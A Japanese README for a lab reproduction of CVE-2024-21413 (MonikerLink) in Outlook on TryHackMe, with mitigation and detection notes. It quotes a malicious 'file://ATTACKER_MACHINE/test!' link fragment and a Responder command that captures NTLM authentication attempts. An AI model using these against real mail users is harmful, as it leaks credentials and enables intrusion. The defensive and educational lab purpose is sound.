
このリポジトリには、CVE-2024-21413に関する研究ノートとハイレベルな概念実証(PoC)が含まれています。CVE-2024-21413は、メッセージに埋め込まれたSMB/モニカー形式のリンクを処理する際に、特定のメールクライアントで観察される脆弱性です。ここに記載されているPoCと実験は、管理されたラボ環境のシステム上で実施されました。
このプロジェクトは、完全に隔離されたTryHackMe環境でMonikerLinkの動作(CVE-2024-21413)を再現し、特定のハイパーリンク形式がOutlookにリンクを処理させ、認証試行の漏えいやさらなる悪用につながる可能性があることを示します。成果物はPoCと、セキュリティチームが適用できる優先順位付けされた緩和策および検出の提案です。稼働中または許可されていないシステムは標的にしていません。
| ツール / スキル | 目的 |
|---|---|
| Python | スクリプト開発 |
| Linux (Kali) | ターゲットシステム |
| Metasploit | 悪用とアクセス |
| TryHackMe Lab | 管理された環境 |
このコードはCMNaticによって書かれたもので、こちらにあります。
例えば、次の行“<a href=“file://ATTACKER_MACHINE/test!”の“ATTACKER_MACHINE”を攻撃マシンのIPアドレスに置き換え、“server = smtplib.SMTP('MAILSERVER', 25)”の行では“MAILSERVER”を被害者マシンのIPアドレスに変更した。
responder -I ens5
systemctl start systemd-resolved

この概念実証は、Microsoft Outlookのリンク処理における微妙な問題を浮き彫りにします。SMBリソースを参照する特定のfile://形式のモニカーリンクは、Outlookの標準的なフィルタリングをすり抜け、外部への認証試行を引き起こす可能性があります。ここで示した動作は完全に管理されたTryHackMeラボで再現されたものであり、一見無害に見えるリンク形式がネットワーク通信を覆い隠す可能性があることを強調しています。ベンダーのパッチと検出ガイダンスは提供されていますが、モニカー/fileスキームの正当な使用法があるため、その根底にある仕組みは依然として複雑です。重要なのは、このPoCによって生成されるアクティビティがネットワークレベルで観測可能であり(たとえば、NTLM認証試行を示すパケットキャプチャなど)、フォレンジック分析やインシデント調査に適していることです。
Florian Rothによって、:file:\\:要素を含むメールを検出するYaraルールが作成されています。
